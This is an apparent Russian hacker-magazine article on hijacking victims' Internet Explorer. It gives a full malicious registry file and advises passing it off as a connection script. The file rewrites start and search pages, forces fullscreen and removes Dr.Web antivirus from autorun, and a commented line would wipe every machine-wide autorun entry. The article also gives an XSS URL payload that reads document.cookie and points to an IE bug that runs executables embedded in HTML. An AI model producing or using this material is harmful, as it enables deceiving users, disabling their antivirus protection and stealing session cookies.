ВОЕННЫЙ HTTP’ОВЫЙ DNS - Берем контроль над браузером клиента

Спецвыпуск Xakep, номер #029, стр. 029-020-8

В свое время также был очень популярен халявный доступ в инет через сети x25, который раздавали некоторые добрые хакеры. Так вот, чтобы настроить доступ, юзеру нужно было слить файло с коннекшн скриптом и установить его себе. Кто мешает выдать наш reg-файл за такую же мазу? Ведь, как показывает практика, юзеры редко заглядывают в содержание таких файлов.

Вот какой reg-файл намутил Дронич:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]

"Local Page"="C:\\WINNT\\System32\\xakpage.htm"

; Это есть та страничка, которая загрузится, если у юзера вообще отключен хоумпейдж :).

; Страшное западло :), так как about:blank можно отключить только из командной строки (iexplore.exe -nohome), а это не всем дано.

"Start Page"="http://www.pipets.ru "

; Это та самая стартовая страница.

"Search Page"="http://www.pipets.ru "

; Это страница, на которую юзер перенаправляется, если введенный им урл голимый и включен автопоиск.

; Практика показывает, что отключают его только продвинутые люди.

"FullScreen"="yes"

; Sevranty и так предусмотрел фулскрин, но можно еще подстраховаться :)

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"SpIDer"=-

; А эта херь удаляет ДокторВеба

; Аналогично можно разобраться с Каспером.

;[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

; А вот это чистый термояд - удаляет ВСЕ запускаемое с правами машины

; Можешь снять с него РЕМ на свой страх и риск :).

Заметь, что такой РЕГ-файл поменяет только юзерские настройки. Если ты хочешь замутить настоящее зло, поменяй ключ HKEY_CURRENT_USER на HKEY_LOCAL_MACHINE – он гораздо козырней и поменяет паги сразу для всех юзеров. Кстати, обратная замена возможна только таким же путем – через регедит.

СВЕЖИЕ ДЫРЕНИ

Но, само собой, столь ненадежные методы Донора не удовлетворили, и он полез по bugtraq'ам и был сражен буквально наповал свеженькими дырами от MSIE (читай "мясо").

Первый баг грозит охотникам за флэш-мультиками. Оказывается, когда мясо загружает какой-нибудь мультимедиа-файл, оно генерит отдельную страничку и при этом ни фига не фильтрует линк на файло, который ему пихнули. Так что если к линку на флэшку приписать скрипт, осел его безропотно выполнит.

Например урла

http://www.macromedia.com//shockwave/download/triggerpages_mmcom/flash.swf?"><SCRIPT>alert(document.cookie)</SCRIPT>

запишет тебе на тачку куку.

Подробнее читай здесь:

http://www.securityfocus.com/bid/6481/discussion/

Второй глюк - это вообще песня! Называется бага self-executing html file. Дыра заключается в том, что если прямо в хытымыльку воткнуть исполняемый файл и небольшой скрипт, то при открытии его ишаком, последний его с удовольствием исполнит. Работает бага для всех Виндов и ослов пятой и шестой версий. Подробнее читай здесь:

http://www.securityfocus.com/bid/6961

http://www.securityfocus.com/archive/1/313355/2003-02-27/2003-03-05/0